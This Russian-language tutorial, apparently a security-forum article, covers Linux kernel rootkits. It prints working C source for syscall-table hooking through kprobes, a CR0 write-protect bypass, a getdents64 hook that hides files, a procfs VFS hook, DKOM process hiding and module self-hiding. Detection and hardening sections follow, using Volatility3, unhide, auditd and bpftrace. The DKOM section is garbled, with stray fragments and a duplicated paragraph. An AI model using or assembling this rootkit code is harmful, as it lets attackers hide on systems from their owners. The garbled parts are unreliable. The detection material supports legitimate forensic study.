Загрузили вредоносный модуль ядра в ring 0 - и всё, между вами и железом пусто. SELinux, AppArmor, антивирус в userland - всё это работает этажом выше и тупо не видит, что творится внутри ядра. Kernel rootkit на Linux - один из самых опасных инструментов в арсенале атакующего, и одновременно одна из самых недооценённых угроз в русскоязычном сообществе. Мало кто копает эту тему на уровне кода, а зря.
Здесь разберу три ключевые техники LKM-руткитов: перехват syscall table, модификацию VFS для сокрытия файлов и манипуляции с процессами через DKOM. Каждый блок - рабочий код на C, объяснение «почему именно так», а рядом взгляд с позиции защитника: что оставляет артефакты, что видит Volatility и где
rkhunter бессилен.Зачем пентестеру разбираться в руткитах ядра
В red team-операциях kernel rootkit linux - инструмент последней мили. Вы уже получили root, закрепились в системе, и теперь задача - остаться незамеченным максимально долго. Userland-руткиты черезLD_PRELOAD обнаруживаются тривиально - достаточно мониторить /etc/ld.so.preload и переменные окружения. А вот LKM-руткит, сидящий в kernel space, перехватывает системные вызовы до того, как информация дойдёт до любого инструмента в userland. Разница - как между подслушиванием за дверью и контролем самого коммутатора.По классификации MITRE ATT&CK руткиты ядра покрывают сразу несколько тактик:
-
Ссылка скрыта от гостей- основная функция: сокрытие следов
- T1547.006 (Persistence / Privilege Escalation) - доставка через загрузку модуля
- T1574 (Persistence / Privilege Escalation / Defense Evasion) - перехват потока выполнения. Для userland это LD_PRELOAD, DLL side-loading и прочее, а kernel-level hooking (syscall table, VFS) точнее всего покрывается T1014. Историческая справка: техника T1179 Hooking отозвана в ATT&CK v8 (октябрь 2020) и частично поглощена T1574 и T1056 (Input Capture), но kernel-level hooking в T1574 явно не описан
Подготовка лабораторной среды
Прежде чем лезть в код - настройте безопасную среду. Никогда не грузите экспериментальные модули ядра на хостовую машину. Лично я для таких вещей держу отдельную QEMU-виртуалку без сетевого моста.
Bash:
# Создание виртуальной машины через QEMU/KVM
qemu-system-x86_64 \
-kernel /path/to/bzImage \
-append "console=ttyS0 root=/dev/sda nokaslr" \
-hda /path/to/rootfs.img \
-m 2048 \
-nographic \
-s -S # GDB stub для отладки ядра
nokaslr отключает рандомизацию адресного пространства ядра - упрощает отладку. -s -S поднимают GDB-сервер на порту 1234 и останавливают CPU до подключения отладчика. В продакшене KASLR, разумеется, включён, и для атакующего это отдельная головная боль.Для компиляции модулей - заголовки ядра целевой версии:
Bash:
apt install linux-headers-$(uname -r) build-essential
Перехват syscall table Linux: классическая техника
Перехват syscall table - фундаментальная техника linux lkm rootkit, описанная ещё в Phrack Magazine. Идея до безобразия проста: ядро хранит массив указателей на функции-обработчики системных вызовов. Подменил указатель - и каждый вызовgetdents64 или kill идёт через твой код.Поиск адреса sys_call_table
Начиная с ядра 5.7,[URL='https://www.kernel.org/doc/html/latest/core-api/kernel-api.html']kallsyms_lookup_name[/URL] больше не экспортируется для модулей. Разработчики ядра сделали это специально - чтобы усложнить жизнь авторам руткитов. Ирония в том, что обходной путь через kprobes работает не хуже:
C:
#include <linux/kprobes.h>
static unsigned long *sys_call_table;
static unsigned long lookup_name(const char *name)
{
struct kprobe kp = {
.symbol_name = name
};
unsigned long addr;
if (register_kprobe(&kp) < 0)
return 0;
addr = (unsigned long)kp.addr;
unregister_kprobe(&kp);
return addr;
}
/* В init-функции модуля: */
sys_call_table = (unsigned long *)lookup_name("sys_call_table");
kallsyms_lookup_name напрямую.Обход write-protection через CR0
Таблица системных вызовов лежит в read-only секции памяти. Регистр CR0 содержит бит WP (Write Protect) - пока он установлен, запись в read-only страницы вызовет page fault. Классический приём - временно сбросить этот бит:
C:
static inline void cr0_write_unlock(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0); /* Бит 16 = WP */
write_cr0(cr0);
}
static inline void cr0_write_lock(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
write_cr0 с изменённым WP натыкается на pinned-CR0 защиту: ядро проверяет, что критические биты не трогали, и может уронить всё в kernel panic. Надёжнее - писать напрямую в MSR через inline assembly:
C:
static inline void write_cr0_forced(unsigned long val)
{
asm volatile("mov %0, %%cr0" : "+r"(val) : : "memory");
}
native_write_cr0 - мы не вызываем обёртку ядра, а пишем непосредственно в регистр. Но на системах с аппаратной виртуализацией (KVM/Xen) гипервизор может перехватить запись в CR0 через VMCS CR0 guest/host mask, и приём перестанет работать. Альтернатива - set_memory_rw()/set_memory_ro() для изменения атрибутов конкретных страниц через page table, без затрагивания CR0.Подмена обработчика getdents64
Для сокрытия файлов и процессов перехватываетсяgetdents64 - системный вызов, который используют ls, ps и вообще всё, что читает содержимое директорий:
C:
#include <linux/dirent.h>
/* Тип оригинального обработчика */
typedef asmlinkage long (*orig_getdents64_t)(
const struct pt_regs *regs);
static orig_getdents64_t orig_getdents64;
/* Префикс для скрываемых файлов */
#define HIDE_PREFIX "rootkit_"
asmlinkage long hooked_getdents64(const struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent;
struct linux_dirent64 *current_dir, *prev_dir = NULL;
struct linux_dirent64 *kdirent;
long ret;
unsigned long offset = 0;
/* Вызываем оригинальный обработчик */
ret = orig_getdents64(regs);
if (ret <= 0)
return ret;
/* regs->si == rsi на x86_64; в ядрах 6.1+ поле может называться иначе -
проверьте arch/x86/include/asm/ptrace.h для вашей версии */
dirent = (struct linux_dirent64 __user *)regs->si;
/* Копируем результат в kernel space для модификации */
kdirent = kzalloc(ret, GFP_KERNEL);
if (!kdirent)
return ret;
if (copy_from_user(kdirent, dirent, ret)) {
kfree(kdirent);
return ret;
}
/* Итерируем по записям, удаляя скрываемые */
current_dir = kdirent;
while (offset < ret) {
if (strncmp(current_dir->d_name, HIDE_PREFIX,
strlen(HIDE_PREFIX)) == 0) {
/* Сдвигаем оставшиеся записи поверх текущей */
long reclen = current_dir->d_reclen;
memmove(current_dir,
(char *)current_dir + reclen,
ret - offset - reclen);
ret -= reclen;
continue;
}
offset += current_dir->d_reclen;
prev_dir = current_dir;
current_dir = (void *)current_dir + current_dir->d_reclen;
}
if (copy_to_user(dirent, kdirent, ret)) {
kfree(kdirent);
return ret; /* fallback: оригинальный результат уже в userspace от первого вызова */
}
kfree(kdirent);
return ret;
}
module_init:
C:
static int __init rootkit_init(void)
{
sys_call_table = (unsigned long *)lookup_name("sys_call_table");
if (!sys_call_table)
return -ENXIO;
orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
write_cr0_forced(read_cr0() & ~0x10000);
sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
write_cr0_forced(read_cr0() | 0x10000);
return 0;
}
rootkit_ исчезает из вывода ls, find и вообще чего угодно, что дёргает getdents64. ps тоже использует этот вызов при чтении /proc, так что тем же механизмом прячутся и процессы - достаточно фильтровать записи в /proc по PID.Детектирование перехвата syscall table
С позиции синей команды перехват syscall table оставляет чёткий артефакт: адрес обработчика указывает за пределы текстового сегмента ядра, куда-то в регион памяти загруженного модуля. Грубо говоря - адрес «не оттуда».
Bash:
# Сравниваем адреса обработчиков с диапазоном ядра
cat /proc/kallsyms | grep sys_call_table
# Адреса должны лежать в диапазоне _stext .. _etext
cat /proc/kallsyms | grep -E "^[0-9a-f]+ T _stext"
cat /proc/kallsyms | grep -E "^[0-9a-f]+ T _etext"
Bash:
# Проверка syscall table через volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
linux.check_syscall сравнивает каждый адрес в sys_call_table с известными символами ядра. Адрес указывает на неизвестный регион - явный индикатор компрометации.А вот
rkhunter и chkrootkit работают из userland и полагаются на сигнатуры известных руткитов. Целостность syscall table в реальном времени они не проверяют. Кастомный руткит пройдёт мимо них без единого алерта.Модификация VFS Linux: хуки на уровне файловой системы
Альтернатива грубой подмене syscall table - перехват на уровне Virtual File System. Это элегантнее и куда сложнее для детектирования: адреса в syscall table остаются чистыми.Перехват iterate_shared в VFS
Когда userland-процесс вызываетgetdents64, ядро в итоге дёргает метод iterate_shared из структуры file_operations конкретной файловой системы. У каждой ФС (ext4, procfs, tmpfs) - своя реализация. Руткит подменяет указатель iterate_shared в file_operations для /proc:
C:
#include <linux/fs.h>
#include <linux/proc_fs.h>
static struct file_operations *proc_fops;
static int (*orig_iterate_shared)(struct file *, struct dir_context *);
/* Наш filldir-фильтр */
/* Обёрточная структура для per-call хранения оригинального actor,
чтобы избежать race condition при параллельных вызовах. */
struct my_dir_context {
struct dir_context ctx;
filldir_t real_actor;
};
/* Тип возврата filldir_t: bool на ядрах 6.x, int на ядрах до ~5.18.
Семантика: на 6.x true=continue, false=stop;
на <5.18 0=continue, non-zero=stop. Код ниже для ядер 6.x. */
static bool my_filldir(struct dir_context *ctx, const char *name,
int namelen, loff_t offset,
u64 ino, unsigned int d_type)
{
/* Извлекаем оригинальный actor из обёрточной структуры */
struct my_dir_context *my_ctx =
container_of(ctx, struct my_dir_context, ctx);
/* Скрываем процесс по PID - возвращаем true (continue),
НЕ вызывая оригинальный filldir, чтобы запись не попала в буфер.
Для ядер <5.18 (int): вернуть 0 вместо true. */
if (is_hidden_pid(name))
return true; /* Пропускаем запись, продолжаем итерацию */
/* Вызываем оригинальный filldir - per-call, без race condition */
return my_ctx->real_actor(ctx, name, namelen, offset, ino, d_type);
}
static int hooked_iterate_shared(struct file *file,
struct dir_context *ctx)
{
/* Per-call обёртка: сохраняем оригинальный actor без race condition */
struct my_dir_context my_ctx = {
.ctx.actor = my_filldir,
.ctx.pos = ctx->pos,
.real_actor = ctx->actor,
};
int ret = orig_iterate_shared(file, &my_ctx.ctx);
/* Синхронизируем позицию обратно в оригинальный ctx */
ctx->pos = my_ctx.ctx.pos;
return ret;
}
file_operations для /proc:
C:
static void hook_proc_fops(void)
{
struct file *proc_filp;
proc_filp = filp_open("/proc", O_RDONLY, 0);
if (IS_ERR(proc_filp))
return;
proc_fops = (struct file_operations *)proc_filp->f_op;
orig_iterate_shared = proc_fops->iterate_shared;
/* proc_root_operations объявлена как const и лежит в .rodata -
прямая запись вызовет page fault. Используем set_memory_rw()
для модификации оригинальной структуры in-place. */
{
unsigned long fops_addr = (unsigned long)proc_fops;
unsigned long aligned = fops_addr & PAGE_MASK;
/* Снимаем RO-защиту со страницы, содержащей file_operations */
set_memory_rw(aligned, 1);
/* Подменяем iterate_shared в оригинальной структуре -
это глобальный эффект для всех open("/proc") */
((struct file_operations *)proc_fops)->iterate_shared =
hooked_iterate_shared;
set_memory_ro(aligned, 1);
}
filp_close(proc_filp, NULL);
}
linux.check_syscall в Volatility аномалий не увидят. Детектировать VFS-хуки на порядок сложнее.Детектирование модификации VFS
Для обнаружения VFS-хуков нужно проверять указатели вfile_operations конкретных файловых систем:
Bash:
# Volatility3: проверка модулей, которые могли подменить fops
vol3 -f memory.dump linux.check_modules.Check_modules
iterate_shared для procfs, sysfs, ext4 с диапазоном легитимных модулей ядра позволяет выявить подмену. Адрес указывает в регион загруженного LKM, который не является стандартным драйвером файловой системы - аномалия.На живой системе помогает ftrace:
Bash:
# Трассировка вызовов iterate_shared
echo 'iterate_shared' > /sys/kernel/tracing/set_ftrace_filter
echo function > /sys/kernel/tracing/current_tracer
cat /sys/kernel/tracing/trace_pipe
/proc в трассировке всплывает вызов из неизвестного модуля - прямой индикатор VFS-хука.Сокрытие процессов Linux kernel через DKOM
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Direct Kernel Object Manipulation - техника, при которой руткит правит внутренние структуры данных ядра напрямую, без перехвата каких-либо функций. По MITRE ATT&CK - T1014 (Rootkit, Defense Evasion). Самый «тихий» подход из трёх, но и самый хрупкий.
После
Но техника опасная: если скрытый процесс упадёт, ядро попытается удалить его из списка, в котором его уже нет. Результат - kernel panic. В реальных руткитах (Diamorphine, Reptile) реализации аккуратнее - с сохранением указателей для восстановления.
После этого модуль не отображается в
Принцип:
Volatility3 обходит проблему, анализируя дамп памяти офлайн:
Расхождение между
Манипуляция task_struct
Каждый процесс в Linux - это структураtask_struct, связанная в двусвязный список. Выдернули процесс из списка - он исчез из /proc, но продолжает получать процессорное время (scheduler работает через другую структуру - run queue):
C:
#include <linux/sched.h>
#include <linux/pid.h>
static void hide_process(pid_t target_pid)
{
struct task_struct *task;
struct pid *pid_struct;
pid_struct = find_get_pid(target_pid);
if (!pid_struct)
return;
task = pid_task(pid_struct, PIDTYPE_PID);
if (!task) {
put_pid(pid_struct);
return;
}
/* Удаляем из списка задач -
процесс исчезает из /proc и ps */
/* ВАЖНО: без tasklist_lock здесь возможен race condition
и kernel panic. В реальных руткитах (Diamorphine)
используется write_lock/unlock на tasklist_lock.
tasklist_lock не экспортируется для LKM - получаем
его адрес через lookup_name (определена выше). */
static rwlock_t *tasklist_lock_ptr;
tasklist_lock_ptr = (rwlock_t *)lookup_name("tasklist_lock");
if (!tasklist_lock_ptr) {
put_pid(pid_struct);
return;
}
unsigned long flags;
write_lock_irqsave(tasklist_lock_ptr, flags);
list_del_init(&task->tasks);
write_unlock_irqrestore(tasklist_lock_ptr, flags);
/* Удаляем из PID namespace -
kill по PID тоже не найдёт */
/* Удаление из PID namespace зависит от версии ядра.
pid_links появилось в ~4.19, до этого - pids[].node.
На 6.x+ структура может отличаться - проверяйте sched.h. */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,19,0)
hlist_del_init(&task->pid_links[PIDTYPE_PID]);
#else
hlist_del_init(&task->pids[PIDTYPE_PID].node);
#endif
put_pid(pid_struct);
}
hide_process(1337) процесс с PID 1337 пропадает из ps aux, /proc/1337 перестаёт существовать, kill -0 1337 возвращает ошибку. При этом процесс продолжает работать. Магия.Но техника опасная: если скрытый процесс упадёт, ядро попытается удалить его из списка, в котором его уже нет. Результат - kernel panic. В реальных руткитах (Diamorphine, Reptile) реализации аккуратнее - с сохранением указателей для восстановления.
Сокрытие самого модуля ядра
Загруженный LKM виден черезlsmod и /proc/modules. Руткит прячет себя аналогичным приёмом:
C:
static struct list_head *module_prev;
static void hide_module(void)
{
/* Сохраняем указатель для возможного восстановления */
module_prev = THIS_MODULE->list.prev;
/* Удаляем из списка модулей */
list_del(&THIS_MODULE->list);
/* Удаляем из /sys/module/ */
kobject_del(&THIS_MODULE->mkobj.kobj);
}
lsmod, /proc/modules и /sys/module/. Но он по-прежнему занимает память в kernel space - и именно это позволяет его найти через memory forensics. Модуль как бы снял табличку с двери, но комнату-то не освободил.Детектирование DKOM-скрытых процессов
Утилитаunhide специально заточена под поиск скрытых процессов. Она использует несколько методов опроса:
Bash:
# Брутфорс PID-пространства
unhide-linux brute
# Сравнение /proc с /proc/pid/status для каждого PID
unhide-linux proc
# Сравнение информации из разных системных вызовов
unhide-linux sys
unhide отправляет kill -0 для каждого возможного PID (или дёргает другие системные вызовы). Если процесс удалён из списка задач, но ещё живёт в планировщике, некоторые интерфейсы ядра вернут противоречивые результаты. Правда, если руткит перехватил kill через syscall table - unhide тоже окажется обманут. Такая вот гонка вооружений.Volatility3 обходит проблему, анализируя дамп памяти офлайн:
Bash:
# Поиск скрытых процессов через анализ памяти
vol3 -f memory.dump linux.pslist.PsList
vol3 -f memory.dump linux.pstree.PsTree
# Сравнение: pslist проходит по task_struct->tasks,
# а psscan сканирует всю память по сигнатурам task_struct
vol3 -f memory.dump linux.psscan.PsScan
pslist и psscan - классический индикатор DKOM. psscan нашёл процесс, которого нет в pslist - значит, его выдернули из двусвязного списка.
Анализ реальных руткитов: Diamorphine и Reptile
Посмотрим, как описанные техники работают в живых проектах, которые упоминаются в исследованиях Elastic Security Labs и Wiz.Diamorphine
Diamorphine - один из самых известных open-source LKM-руткитов, функциональный на ядрах от 2.6 до 6.x. Его архитектура:| Компонент | Техника | Артефакты |
|---|---|---|
| Сокрытие файлов | Перехват getdents/getdents64 | Аномалия в syscall table |
| Сокрытие процессов | Фильтрация по PID в hooked getdents | Расхождение pslist/psscan |
| Сокрытие модуля | list_del из modules list | Память модуля без записи в /proc/modules |
| Управление | Сигнал 63 (kill -63 PID) | Нестандартные сигналы в аудит-логах |
| Повышение привилегий | Обработка сигнала 64 для grant root | Смена credentials процесса |
Diamorphine использует syscall table hooking через kprobes на новых ядрах. Управление - через нестандартные сигналы:
kill -63 <pid> делает процесс невидимым, kill -64 <pid> выдаёт root-shell. Элегантно и просто - никаких сетевых бэкдоров, всё через стандартный kill.Reptile
Reptile - руткит посерьёзнее, с полноценной бэкдор-функциональностью. Помимо стандартного набора (сокрытие файлов, процессов, модуля) он включает:- Перехват сетевого трафика для активации magic-пакетом
- Встроенный reverse shell
- Хуки на уровне VFS для procfs и sysfs
Ссылка скрыта от гостей
, Reptile остаётся функциональным на многих дистрибутивах - «modern variant featuring backdoor capabilities». На одном из проектов я видел его модификацию с кастомным magic-пакетом на нестандартном протоколе. Обнаружили только через аномалию в memory dump.Linux rootkit обнаружение: комплексная методология
Ни один инструмент не ловит все типы руткитов. Эффективное linux rootkit детектирование требует многоуровневого подхода - от быстрых проверок на живой системе до полноценного memory forensics.Уровень 1: проверка целостности на живой системе
Bash:
# rkhunter - сигнатурный анализ
rkhunter --check --skip-keypress
# chkrootkit - альтернативный сигнатурный сканер
chkrootkit -q
# Проверка tainted-флага ядра
cat /proc/sys/kernel/tainted
# Значение != 0 означает загрузку стороннего модуля
Уровень 2: поведенческий анализ
Bash:
# Проверка доступных функций для трассировки
cat /sys/kernel/tracing/available_filter_functions | wc -l
# Резкое изменение числа может указывать на фильтрацию
# Мониторинг загрузки модулей через auditd
auditctl -a always,exit -F arch=b64 -S init_module \
-S finit_module -k kernel_module_load
# Поиск аномалий в dmesg
dmesg | grep -i "tainted\|module\|insmod"
dmesg). Руткит может его вычистить, но если настроен rsyslog с отправкой на удалённый сервер - лог уже ушёл. Поэтому централизованный сбор логов - не роскошь, а необходимость.Уровень 3: офлайн-анализ памяти
Единственный по-настоящему надёжный метод - снять дамп памяти и анализировать вне скомпрометированной системы:
Bash:
# Снятие дампа через LiME (Linux Memory Extractor)
insmod lime.ko "path=/tmp/memory.dump format=lime"
# Анализ через Volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
vol3 -f memory.dump linux.check_modules.Check_modules
vol3 -f memory.dump linux.hidden_modules.Hidden_modules
vol3 -f memory.dump linux.tty_check.tty_check
linux.hidden_modules ищет именно те модули, которые удалили себя из /proc/modules через list_del, но остались в памяти. Покрывает описанную выше технику сокрытия модуля.Уровень 4: eBPF-мониторинг в реальном времени
Современный подход к linux rootkit защите - eBPF для мониторинга критических операций ядра в реальном времени:
Bash:
# Мониторинг загрузки модулей через bpftrace
bpftrace -e 'kprobe:do_init_module {
printf("Module loaded: %s by PID %d (%s)\n",
str(((struct module *)arg0)->name),
pid, comm);
}'
# Мониторинг сокрытия модулей (list_del - inline, kprobe на неё невозможен)
bpftrace -e 'kprobe:kobject_del {
printf("kobject_del called from %s (PID %d)\n", comm, pid);
}'
Практический чек-лист: пошаговая проверка системы
Конкретная последовательность действий для проверки Linux-сервера на наличие kernel rootkit:Шаг 1. Проверьте tainted-флаг ядра:
cat /proc/sys/kernel/tainted. Ненулевое значение - повод копать дальше.Шаг 2. Сравните список модулей из
/proc/modules с выводом lsmod. Расхождения - аномалия.Шаг 3. Проверьте syscall table через
/proc/kallsyms: адреса обработчиков должны лежать в диапазоне _stext .. _etext.Шаг 4. Запустите
unhide-linux brute sys proc для поиска скрытых процессов.Шаг 5. Снимите дамп памяти через LiME и проанализируйте офлайн через Volatility3 с плагинами
check_syscall, hidden_modules, psscan.Шаг 6. Проверьте аудит-логи на предмет вызовов
init_module/finit_module - это единственные системные вызовы для загрузки модулей.Защита от загрузки вредоносных модулей
Превентивные меры эффективнее обнаружения постфактум. Вот что реально работает:| Мера | Что защищает | Ограничения |
|---|---|---|
| Secure Boot + подпись модулей | Запрещает загрузку неподписанных LKM | Требует инфраструктуры PKI |
kernel.modules_disabled=1 (sysctl) | Полностью блокирует загрузку модулей | Нельзя загрузить легитимные драйверы |
| SELinux/AppArmor в enforcing | Ограничивает CAP_SYS_MODULE | Сложная настройка политик |
| Seccomp-профили в контейнерах | Блокирует init_module, finit_module | Только для контейнерных сред |
|
Ссылка скрыта от гостей
| Запрещает доступ к /dev/mem, kprobes | Доступен с ядра 5.4+ |
Самая радикальная мера - компиляция ядра без поддержки загружаемых модулей (
CONFIG_MODULES=n). Полностью закрывает вектор LKM-руткитов, но делает систему негибкой. На практике я видел такой подход на honeypot-серверах и в специализированных аплайнсах - там это оправдано.Заключение
Kernel rootkit linux - не академическая страшилка, а рабочий инструмент в таргетированных атаках на серверную инфраструктуру. Три техники - перехват syscall table, модификация VFS и DKOM - покрывают сокрытие файлов, процессов, сетевых соединений и самого руткита.Для пентестера понимание этих техник на уровне кода нужно в двух направлениях: persistence в red team-сценариях и оценка того, насколько инфраструктура готова к такому уровню атаки. Для защитника - знание внутренностей руткитов объясняет, почему нельзя доверять userland-инструментам на скомпрометированной системе и почему memory forensics через Volatility3 остаётся единственным надёжным методом.
Ядро не лжёт - но руткит заставляет его лгать всем, кто спрашивает. Единственный способ увидеть правду - смотреть на память напрямую. Попробуйте собрать Diamorphine в лабораторной VM из раздела про подготовку среды, загрузить его и прогнать все шесть шагов чек-листа. Посмотрите, на каком шаге вы его поймаете - и на каких он пройдёт незамеченным.